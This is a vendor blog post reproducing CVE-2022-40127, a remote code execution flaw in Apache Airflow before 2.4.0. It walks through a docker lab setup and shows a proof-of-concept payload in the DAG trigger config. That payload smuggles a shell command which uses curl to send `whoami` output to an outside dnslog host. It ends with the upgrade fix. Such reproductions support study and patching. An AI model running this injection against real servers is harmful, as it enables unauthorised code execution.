提交需求
*
*

*
*
*
立即提交
点击”立即提交”，表明我理解并同意 《美创科技隐私条款》
免费试用
400-811-3777

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创
    申请试用
      热门阅读
      1

      2025中国互联网产业年会丨《中国互联网产业绿色算力发展倡议》正式发布

      2025-02-07

       2

      美创用户专访 | 精细化管理：医疗行业数据分类分级的策略与实践

      2025-01-10

       3

      容灾演练双月报｜美创助力某特大型通信基础设施央企顺利完成多个核心系统异地容灾演练

      2025-01-10

       4

      国家级｜美创、徐医附院共建项目入选工信部《2024年网络安全技术应用典型案例拟支持项目名单》

      2024-12-20

       5

      全球数据跨境流动合作倡议

      2024-11-22
      相关文章

      每周安全速递³⁴⁷ | 俄罗斯法院释放多名REvil勒索软件团伙成员引发争议

      2025-06-27

      每周安全速递³⁴⁶ | 勒索团伙声称窃取Freedman HealthCare敏感文件

      2025-06-20

      每周安全速递³⁴⁵ | Play勒索团伙利用SimpleHelp漏洞实施双重勒索

      2025-06-13

      每周安全速递³⁴⁴ | 维多利亚的秘密因网络安全事件推迟2025年一季度财报发布

      2025-06-06

      每周安全速递³⁴³ | Everest勒索软件泄露可口可乐员工数据

      2025-05-30
      CVE-2022-40127 Apache Airflow远程代码执行复现
      发布时间：2022-12-23 阅读次数： 551 次


      漏洞简介

      Airflow是一个可编程，调度和监控的工作流平台，基于有向无环图(DAG)，airflow可以定义一组有依赖的任务，按照依赖依次执行。Apache Airflow的某些版本存在远程代码执行漏洞，如攻击者获取到Apache Airflow后台权限，则可在Apache Airflow应用服务器上执行任意代码。




      影响版本

      Apache Airflow < 2.4.0




      环境搭建

      可根据


      https://github.com/Mr-xn/CVE-2022-40127

      进行环境搭建

      如图所示，执行


      mkdir CVE-2022-40127 && cd CVE-2022-40127

      创建漏洞环境目录

      图片

      执行


      wget https://github.com/Mr-xn/CVE-2022-40127/raw/main/docker-compose.yaml

      拉取漏洞dockr环境文件

      图片

      执行


      mkdir -p ./dags ./logs ./plugins

      创建目录

      图片

      执行


      echo -e "AIRFLOW_UID=$(id -u)" > .env

      创建环境变量

      图片

      执行


      docker-compose up airflow-init

      拉取漏洞docker环境

      图片

      执行


      docker-compose up -d

      运行漏洞docker环境

      图片

      访问

      http://ip:8080

      出现以下页面代表环境创建成功

      图片




      漏洞复现

      复现该漏洞需登录airflow应用

      如图所示，通过airflow/airflow

      登录应用

      图片

      点击右小箭头再点击Trigger DAG w/ config

      图片

      如图所示，访问


      http://dnslog.cn/

      点击Get SubDomain

      获取到域名


      2gbu0x.dnslog.cn

      图片

      返回airflow应用页面，如图所示，在红框内输入POC


      {"fxoxx":"\";curl `whoami`.2gbu0x.dnslog.cn;\""}

      并点击Trigger

      图片

      返回dnslog页面，点击Refresh Record即可成功获得代码命令结果

      图片




      漏洞修复

      将Apache Airflow版本升级至大于2.4.0版本。


      上一条：每周安全速递²⁴⁰|BlackCat勒索软件对哥伦比亚能源供应商进行网络攻击
      下一条：《入侵生命周期细分实践指南系列》：二进制文件修改攻击
      返回
      关注或联系美创
      官方订阅号 官方订阅号
      官方服务号 官方服务号
      第59号 第59号
      服务热线：400-811-3777
      商务合作：marketing@mchz.com.cn
      友情链接 中央网信办 公安部 工信部 CNCERT 中国信通院 中国软件测评中心 国家工业信息安全发展研究中心 赛迪研究院
      Copyright © 2024 杭州美创科技股份有限公司 All rights reserved.
      浙公网安备 33010502006954号 浙ICP备12021012号-1 网站地图 网站声明及隐私保护政策
      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部